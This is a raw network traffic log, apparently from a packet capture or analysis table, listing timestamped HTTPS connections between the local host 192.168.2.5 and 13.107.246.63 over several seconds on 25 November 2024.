Nov 25, 2024 12:08:23.181298971 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.222959042 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.223799944 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.223820925 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.224270105 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.224283934 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.581233978 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.581306934 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.581419945 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.581866980 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.581887007 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.581898928 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.581904888 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.584892988 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.584932089 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.585043907 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.585197926 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.585211039 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.612308979 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.615351915 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.615475893 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.615516901 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.615516901 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.615533113 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.615544081 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.619052887 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.619095087 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.619993925 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.619993925 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.620027065 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.666057110 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.669924021 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.669975042 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.670151949 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.670250893 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.670274973 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.670277119 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.670284033 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.673333883 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.673367023 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.673459053 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.673646927 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.673660040 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.687751055 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.688332081 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.688347101 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.688790083 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.688796043 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.858628035 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.874763012 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.874787092 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.875652075 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.875658035 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.139633894 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.143246889 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.146351099 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.146378040 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.146401882 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.146413088 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.146420002 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.148919106 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.148958921 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.149044037 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.149183989 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.149197102 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.303477049 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.309001923 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.309056997 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.309238911 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.309238911 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.309238911 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.311839104 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.311876059 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.311973095 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.312114954 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.312125921 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:24.608887911 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:24.608911991 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.395534039 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.396406889 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.396428108 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.396887064 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.396893024 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.403399944 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.403873920 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.403897047 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.404299974 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.404309034 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.435452938 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.436042070 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.436084986 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.436450005 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.436459064 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.830929041 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.834001064 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.834057093 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.834099054 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.834122896 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.834136009 CET	49957	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.834141016 CET	443	49957	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.838649035 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.838686943 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.838753939 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.839067936 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.839081049 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.847074986 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.850353956 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.850406885 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.850440979 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.850460052 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.850471020 CET	49956	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.850476980 CET	443	49956	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.854650021 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.854693890 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.854767084 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.854994059 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.855005980 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.863651037 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.864115000 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.864132881 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.864815950 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.864825964 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.887502909 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.890580893 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.890646935 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.890748024 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.890783072 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.890800953 CET	49955	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.890808105 CET	443	49955	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.947331905 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.947374105 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:25.947446108 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.948306084 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:25.948323965 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.091609001 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.092075109 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.092107058 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.093003035 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.093008041 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.300992012 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.303821087 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.303894043 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.303932905 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.303932905 CET	49958	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.303949118 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.303958893 CET	443	49958	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.307121992 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.307142973 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.307218075 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.307363987 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.307378054 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.535679102 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.538866997 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.538944006 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.538985968 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.538985968 CET	49959	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.539007902 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.539016962 CET	443	49959	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.541645050 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.541697025 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:26.541774035 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.541949034 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:26.541965008 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.573801994 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.578022957 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.578036070 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.578643084 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.578648090 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.622598886 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.623194933 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.623217106 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.623693943 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.623698950 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.727845907 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.728467941 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.728493929 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:27.728935957 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:27.728941917 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.018038988 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.021096945 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.021184921 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.021238089 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.021255970 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.021265984 CET	49961	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.021271944 CET	443	49961	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.024004936 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.024038076 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.024111032 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.024262905 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.024276972 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.064933062 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.068871021 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.068975925 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.069040060 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.069057941 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.069067955 CET	49960	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.069073915 CET	443	49960	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.071878910 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.071919918 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.072002888 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.072144032 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.072154999 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.086024046 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.086539030 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.086574078 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.087165117 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.087176085 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.330504894 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.354167938 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.354208946 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.354679108 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.354684114 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.397134066 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.400368929 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.400424004 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.400468111 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.400502920 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.400569916 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.400585890 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.400608063 CET	49962	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.400614977 CET	443	49962	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.403446913 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.403481960 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.403558016 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.403706074 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.403723001 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.529412985 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.532555103 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.532619953 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.532668114 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.532677889 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.532704115 CET	49963	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.532708883 CET	443	49963	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.535660982 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.535682917 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.535739899 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.535877943 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.535887003 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.773519039 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.777501106 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.777571917 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.777682066 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.777708054 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.777725935 CET	49964	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.777731895 CET	443	49964	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.780812979 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.780860901 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:28.780920029 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.781097889 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:28.781110048 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.803980112 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.804522038 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:29.804538012 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.805128098 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:29.805135965 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.858077049 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.858675003 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:29.858701944 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:29.860291004 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:29.860296965 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.215126991 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.215708971 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.215730906 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.216166973 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.216172934 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.246853113 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.250158072 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.250217915 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.250294924 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.250312090 CET	49965	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.250313997 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.250320911 CET	443	49965	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.253170013 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.253201962 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.253268957 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.253413916 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.253426075 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302306890 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302334070 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302380085 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.302392006 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302659035 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.302665949 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302685022 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.302848101 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302884102 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.302923918 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.305218935 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.305263042 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.305322886 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.305470943 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.305485964 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.323935032 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.324664116 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.324672937 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.325133085 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.325139999 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.563101053 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.563971043 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.564002991 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.564448118 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.564452887 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.657645941 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.657677889 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.657732964 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.657802105 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.657934904 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.658380985 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.658391953 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.658421993 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.658427954 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.661444902 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.661463976 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.661556005 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.661736012 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.661748886 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.769093990 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.772250891 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.772299051 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.772322893 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.772381067 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.772448063 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.772453070 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.772460938 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.772464991 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.775331974 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.775357962 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:30.775432110 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.775583982 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:30.775594950 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.007318020 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.010529995 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.010660887 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.010847092 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.010864973 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.013731003 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.013761997 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.013840914 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.014050961 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.014059067 CET	443	49974	13.107.246.63	192.168.2.5
